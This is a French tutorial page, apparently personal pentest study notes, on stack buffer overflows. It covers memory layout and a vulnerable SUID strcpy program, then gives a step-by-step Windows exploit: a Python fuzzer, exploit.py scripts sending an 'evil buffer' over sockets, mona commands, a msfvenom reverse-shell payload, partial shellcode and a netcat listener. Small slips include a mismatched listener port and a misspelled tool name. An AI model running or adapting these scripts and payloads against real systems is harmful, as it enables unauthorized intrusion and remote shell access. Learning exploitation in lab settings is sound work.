Bebzounette
Rechercher…
Buffer-Overflow

1. Notions essentielles

Quand un programme est exécuté, différents éléments (par exemple des variables) sont stockés en mémoire.
Premièrement, l’OS crée des emplacements mémoire ou le programme pourra "tourner". Cet emplacement mémoire inclut les instructions du programme actuel.
Deuxièmement, les informations du programme sont chargées dans l’espace mémoire créé.Il existe trois types de segments dans le programme : .text, .bss et .data.
  • Le .text est en lecture seule tandis que le .bss et le .data sont en lecture/écriture.
  • Le .data et le .bss sont réservés pour les variables globales.
  • Le .data contient les données initialisées.
  • Le .bss contient les données non initialisées.lLe .text contient les instructions du programme.
Finalement, la pile (stack) et le heap (partie de la mémoire interne utilisée pour construire ou rejeter dynamiquement des objets de données) sont initialisés.
Stack (LIFO) : la donnée la plus récente placée (push) dans la pile sera la première sortie (pop).
Une LIFO est idéale pour mémoriser des données transitoires ou des informations qui n’ont pas besoin d’être stockées longtemps.
La pile stocke les variables locales, les appels à fonction et d’autres informations utilisées pour nettoyer la pile après qu’une fonction ou procédure ait été appelée.À chaque donnée stockée dans la pile, l’adresse contenue dans le pointeur de pile (ESP) décroît.
La première chose à trouver sur une machine UNIX lors d’une attaque locale est un programme vulnérable, mais cela ne suffit pas. Il faut injecter notre code dans un programme qui est exécuté avec les droits root même s’il est appelé par un utilisateur.
On se retrouvera avec les droits root et on sera en possession d’un shell qui permettra d’exécuter n’importe quelle commande en tant que root.
Comment connaître les programmes avec le SUID root activé ?
1
find / -type f -perm -04000
Copied!

1.2 Un exemple simple pour comprendre

Pour pouvoir dérouler notre exemple, nous allons devoir désactiver le patch Linux sinon cela ne marchera pas du à la randomization des adresses :
1
# cat /proc/sys/kernel/randomize_va_space
2
1
3
# echo 0 > /proc/sys/kernel/randomize_va_space
4
#
5
# cat /proc/sys/kernel/randomize_va_space
6
0
Copied!
Voici un programme très simple qui alloue de la mémoire.
1
#include <stdio.h>
2
#include <string.h>
3
#include <stdlib.h>
4
int vuln(char *arg)
5
{
6
char buffer[512];
7
strcpy(buffer,arg);
8
return 1;
9
}
10
int main(int argc, char **argv)
11
{
12
if(argc<2)exit(0);
13
vuln(argv[1]);
14
exit(1);
15
}
Copied!
Dans le programme ci-dessus, le buffer a été déclaré avec une taille de 512 octets.
Les sauvegardes des registres sur la pile sont codées sur 4 octets (registres 32 bits).
Les deux arguments de la fonction vuln sont des adresses de buffer, ils sont codés sur 4 octets.
Si nous arrivons à écrire 4 octets de plus que la taille du buffer, alors les 4 octets de EBP seront écrasés.
Si nous arrivons à écrire 4 octets de plus, alors c’est EIP qui sera écrasé.
Si EIP est écrasé par une valeur que nous aurons définie, lors de l’appel à ret, c’est cette valeur qui sera extraite de la pile et à laquelle le programme sautera.
Nous risquons d’avoir un écart de 4 octets suivant la version du compilateur.
Compilons d’abord le programme, donnons-lui le droit d’exécution et activons le bit SUID :
1
# gcc -o programme_test programme_test.c
2
# chmod u+s programme_test
Copied!
Nous allons pouvoir nous attaquer au buffer overflow.
La première chose à tester est la faillibilité de notre programme. Nous allons donc essayer d’injecter un grand nombre d’arguments en lançant notre programme. Si celui-ci est vulénrable, On aura un segment fault en retour.
ASTUCE : Voici ma commande préféré pour rapidement génerer des caractères. Pour écrire, par exemple, un grand nombre de "A" grâce à Python on écrit :
1
python -c 'print "A" * 1000' > BUFF.TXT
Copied!
Sur votre terminal vous devriez voir apparaître 1000 fois le caractère "A" :
On lance notre programme avec en paramètre nos 1000 caractère "A" :
1
./premier_test BUFF.txt
Copied!
Notre programme nous renvoie une erreur de segmentation. Il est donc susceptible d'être vulnérable à un, buffer overflow.
Maintenant il faut déterminer exactement pour quel nombre de caractères le programme plante pour pouvoir écraser l’adresse de retour.
Nous allons pour l’instant tester manuellement jusqu’à trouver la taille du buffer. Nous verrons ultérieurement comment automatiser tout ça.
Pour visualiser le contenu de l’adresse de retour, on lance gdb sous Linux.
1
$ gdb ./premier_test
2
(gdb) r 'python -c 'print "A" * 1000''
Copied!
r signifie run, non lance le programme avec les 1000 "A" comme arguments.
On peut voir "Segmentation fault" avec une adresse inconnue qui est 0x41414141. Que représente cette adresse ? 41 en hexadécimal représente le A. Donc l’adresse de retour a été remplacée par quatre A. L’adresse de retour a donc bien été écrasée.
1
Program received signal SIGSEGV, Segmentation fault.
2
0x41414141 in ?? ()
Copied!
On va essayer, en tâtonnement, de trouver exactement le moment où nous écrasons l’adresse de retour.
1
(gdb) r 'python -c 'print "A" * 200''
2
(gdb) r 'python -c 'print "A" * 500''
3
(gdb) r 'python -c 'print "A" * 520''
Copied!
Nous voyons que pour 520 A exactement, nous écrasons l’adresse de retour (EIP).

2. Exploitation d'un Buffer Overflow

Prérequis (Avant chaque buffer-overflow que vous ferez) :

1) Préparer votre environnement :
2) Configurer Mona :
Avant tout on crée un répertoire dédié à Mona :
1
!mona config -set workingfolder c:\mona\%p
Copied!
3) Télécharger sur votre VM Windows l'exécutable sujet au Buffer-overflow
4) Lancez l'exécutable et Immunity Debugger en mode Administarteur
5) Appuyer sur le bouton run (à refaire à chaque fois que l'application crash), pour revenir au stade précèdent vous pouvez cliquer sur l'icone << et ensuite cliquer sur run.

1) Fuzzing

1
import socket, time, sys
2
3
ip = "IP"
4
port = PORT
5
timeout = 5
6
7
buffer = []
8
counter = 100
9
while len(buffer) < 30:
10
buffer.append("A" * counter)
11
counter += 100
12
13
for string in buffer:
14
try:
15
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
16
s.settimeout(timeout)
17
connect = s.connect((ip, port))
18
s.recv(1024)
19
print("Fuzzing with %s bytes" % len(string))
20
s.send("OVERFLOW1 " + string + "\r\n")
21
s.recv(1024)
22
s.close()
23
except:
24
print("Could not connect to " + ip + ":" + str(port))
25
sys.exit(0)
26
time.sleep(1)
Copied!

2) Crash EIP

Nous savons maintenant combien de bytes il nous faut envoyer pour faire crasher l'application. On va donc utiliser metasploit qui va créer un pattern spécial que nous allons utiliser ensuite pour trouver l'offset.
1
msf-pattern-create -l <NUMBER OF BYTES SEND + 400>
Copied!
Copier le résultat et remplacer le dans la variable overflow="" dans le script exploit.py :
1
import socket
2
3
ip = "10.0.0.1"
4
port = 21
5
6
prefix = ""
7
offset = 146
8
overflow = "A" * offset
9
retn = ""
10
padding = ""
11
payload = ""
12
postfix = ""
13
14
buffer = prefix + overflow + retn + padding + payload + postfix
15
16
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
17
18
try:
19
s.connect((ip, port))
20
print("Sending evil buffer...")
21
s.send(buffer + "\r\n")
22
print("Done!")
23
except:
24
print("Could not connect.")
Copied!

3) Trouver l'offset

On refait crasher l'application, on va donc maintenant regarder l'adresse de l'EIP et demander à metasploit de nous trouver l'offset grâce au pattern créer précédemment et cette adresse.
1
msf-patter_offset -l -q EIP_Address
Copied!
On remplace l'offset trouvé dans notre script exploit.py (exemple : offset=146)

4) Vérification de l'overflow de l'EIP

On ajoute 4 "B" après notre overflow de l'EIP et des "C" (BYTES SEND - OFFSET -4 fois la lettre B). Nous faisons cela pour vérifier que nous allons bien overflow l'EIP et que nous allons pouvoir déposer notre shell juste après.
On lance notre programme, on fait crash l'application. La valeur de L'EIP devrait être 42424242 = "BBBB". On a donc bien réussi à overflow l'EIP qui est maintenant rempli de "B".
1
import socket
2
3
ip = "10.0.0.1"
4
port = 21
5
6
prefix = ""
7
offset = 146
8
overflow = "A" * offset
9
retn = "B" * 4
10
padding = ""
11
payload = "C" * (BYTS SEND - OFFSET -4)
12
postfix = ""
13
14
buffer = prefix + overflow + retn + padding + payload + postfix
15
16
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
17
18
try:
19
s.connect((ip, port))
20
print("Sending evil buffer...")
21
s.send(buffer + "\r\n")
22
print("Done!")
23
except:
24
print("Could not connect.")
Copied!

5) Trouver les Badchars

Certains caractères peuvent faire "changer" le fonctionnement de certaines fonctions, nous allons donc les trouver et les exclure.
Dans Immunity Debugger, on exclu avec Mona, le bit \x00 :
1
!mona bytearray -b "\x00"
Copied!
1
import socket
2
3
ip = "10.10.93.223"
4
port = 1337
5
6
prefix = "OVERFLOW1 "
7
offset = 146
8
overflow = "A" * offset
9
badchars = (
10
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
11
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
12
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
13
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
14
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
15
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
16
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
17
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
18
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
19
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
20
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
21
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
22
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
23
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
24
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
25
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
26
)
27
retn = ""
28
padding = ""
29
payload = "C" * (BYTES SEND - OFFSET -4)
30
31
postfix = ""
32
33
buffer = prefix + overflow + retn + padding + payload + postfix
34
35
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
36
37
try:
38
s.connect((ip, port))
39
print("Sending evil buffer...")
40
s.send(buffer + "\r\n")
41
print("Done!")
42
except:
43
print("Could not connect.")
44
Copied!
On retourne dans Immunty Debugger :
1
!mona compare -f C:\mona\appname\bytearray.bin -a
Copied!
On note les Badchars trouvés par Mona sous la forme "\x00\x01\x02"...

6) Trouver la fonction JMP

Pour être sur que notre shellcode va s'exécuter après le débordement de notre stack nous allons retourner une adresse qui contient une instruction JUMP (JMP) qui va nous permettre de "sauter" directement à la prochaine instruction.
Dans Immunity Debugger on tape :
1
!mona jmp -r esp -cpb BADCHARS
Copied!
Voici un exemple :
1
!mona jmp -r esp -cpb "\x00\x0a\x0d"
Copied!
Mona vas nous retourner une ou plusieur adresse lié à des fonctions jump. On prend une addresse de function JMP et on la note à l'envers (little endian).
Exemple :
1
0x625011af
Copied!
deviendras
1
\xaf\x11\x50\x62
Copied!

7) On génère notre reverse_shell

On n'a plus qu'à générer notre reverse_shell en excluant bien les badchars avec l'option -b (\x00\x01\x02)
1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.92 LPORT=53 EXITFUNC=thread -b BADCHARS -f c
Copied!

8) Padding

Pour être sur encore que rien n'empêche notre shellcode de s'exécuter on rajouter ce qu'on appelle un padding. C'est un petit espace juste après notre instruction JUMP (j'aime bien en mettre 32 mais vous pouvez en mettre moins ou un peu plus).
1
padding = "\x90" * 32
Copied!
Pour résumer, on se retrouve avec Exploit.py :
1
import socket
2
3
ip = "10.10.93.223"
4
port = 1337
5
6
7
8
prefix = "OVERFLOW1 "
9
10
offset = 146 #offset trouvé avec msf
11
12
overflow = "A" * offset
13
14
retn = "\x56\x23\x43\x9A" #l'adresse de retour à une fonction jump.
15
16
padding = "\x90" * 32 # un peu de padding
17
18
payload = "\xdb\xde\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..." # notre shellcode généré par msf
19
20
postfix = ""
21
22
23
24
25
buffer = prefix + overflow + retn + padding + payload + postfix
26
27
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
28
29
try:
30
s.connect((ip, port))
31
print("Sending evil buffer...")
32
s.send(buffer + "\r\n")
33
print("Done!")
34
except:
35
print("Could not connect.")
Copied!
On lance un listener :
1
nc -lnvp 1234
Copied!
1
python exploit.py
Copied!
Vous devriez récupérer un reverse shell.